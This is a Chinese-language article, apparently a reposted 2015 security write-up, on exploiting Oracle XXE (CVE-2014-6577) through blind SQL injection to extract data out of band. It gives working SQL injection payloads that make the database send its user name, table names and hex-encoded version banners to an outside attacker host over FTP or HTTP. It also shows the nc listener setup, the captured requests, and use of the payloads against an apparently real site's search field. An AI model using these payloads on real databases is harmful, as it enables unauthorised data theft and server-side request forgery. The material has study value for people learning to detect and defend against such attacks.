Oracle盲注結合XXE漏洞遠端獲取資料

wyzsk發表於2020-08-19
作者: crackershi · 2015/05/12 16:24

0x00 前言


想必大家對SQL隱碼攻擊已經耳熟能詳,對XML實體注入(簡稱XXE)也有所瞭解。本文主要討論了一種在存在ORACLE盲注的情況下遠端獲取資料的方式。其實和UTL_HTTP遠端獲取的方法差不多,只不過原理不同。

0x01 漏洞簡析


CVE-2014-6577,是Oracle在今年年初修補的XXE漏洞,已知受影響的範圍:

11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2,不排除那些已不受oracle支援的版本也存在此漏洞。攻擊者可以透過利用構造SQL語句來觸發XML直譯器傳送一個HTTP或者FTP請求,從而帶來以下可能的威脅。

  • 資料洩露
  • SSRF
  • 埠掃描
  • 拒絕服務攻擊。

等等……

0x02 漏洞利用


文獻中給出的一個利用POC:

在遠端主機上用nc監聽21埠,當有連線後,輸入220

#!html
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':[email protected]/test"> %remote; %param1;]>'),'/l') from dual;

and

#!bash
[[email protected] httpd]# busybox nc -vvlp 21
listening on [::]:21 ...
connect to [::ffff:11.11.11.11]:21 from [::ffff:22.22.22.22]:37040 ([::ffff: 22.22.22.22]:37040)
220
USER XXXX _WEB_ XXXX
220
PASS bar
^Csent 8, rcvd 33
punt!

在斷開連線的同時,ORACLE會報以下錯誤

將把給出的POC變形,ftp請求換成http,

ORA-31000: 資源 'ftp://XXXX_WEB_XXXX:[email protected]/test' 不是 XDB 方案文件
    

ORA-06512: 在 "SYS.XMLTYPE", line 310
    

ORA-06512: 在 line 1
…………

and

#!html
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||user||'"> %remote; %param1;]>'),'/l') from dual

這樣不用啟動nc或者ftp服務端即可在http日誌中收到請求:

#!bash
22.22.22.22  - - [27/Apr/2015:07:56:53 -0400] "GET /XXXX_WEB_XXXX  HTTP/1.0" 404 294 "-" "-"

0x03 漏洞實戰


某個搜尋功能存在SQL隱碼攻擊漏洞

可以判斷存在盲注,而且資料庫基本能確定為oracle

XXX%'and 233=233 '%'='              頁面正常
XXX%'and 233=2333 '%'='             頁面無結果
XXX%'and 1=(select 1 from dual) '%'='   頁面正常

構造如下語句 伺服器收到如下請求:

#!html
XXX%'and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT TABLE_NAME FROM (SELECT ROWNUM AS R,TABLE_NAME FROM USER_TABLES) WHERE R=1)||'"> %remote; %param1;]>'),'/l') from dual) and '%'='

and

22.22.22.22 - - [27/Apr/2015:22:00:46 -0400] "GET /EC_COMP_BINARY_INFO HTTP/1.0" 404 297 "-" "-"

還可以這麼構造,一次返回數條結果

伺服器收到如下請求:

對於結果中帶空白符或者其他特殊符號的,在此處Oracle並不會自動URL編碼,所以為了順利的獲得資料可以用oracle的自帶函式utl_raw.cast_to_raw()將結果轉換為HEX。

22.22.22.22 - - [27/Apr/2015:23:12:01 -0400] "GET /EC_COMP_BINARY_INFO////EC_COMP_BINARY_MAPPING HTTP/1.0" 404 323 "-" "-"

and

#!sql
XXX%'and 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://11.11.11.11/'||(SELECT utl_raw.cast_to_raw(BANNER) FROM (SELECT ROWNUM AS R,BANNER FROM v$version) WHERE R=1)||'////'||(SELECT utl_raw.cast_to_raw(BANNER) FROM (SELECT ROWNUM AS R,BANNER FROM v$version) WHERE R=2)||'"> %remote; %param1;]>'),'/l') from dual) and '%'='

收到的請求:

經過HEX解碼可得

/Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - 64bit Production////PL/SQL Release 11.2.0.2.0 - Production

22.22.22.22 - - [28/Apr/2015:03:50:16 -0400] "GET /4F7261636C652044617461626173652031316720456E74657270726973652045646974696F6E2052656C656173652031312E322E302E322E30202D2036346269742050726F64756374696F6E////504C2F53514C2052656C656173652031312E322E302E322E30202D2050726F64756374696F6E HTTP/1.0" 404 510 "-" "-"

參考文獻:


https://blog.netspi.com/advisory-xxe-injection-oracle-database-cve-2014-6577/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章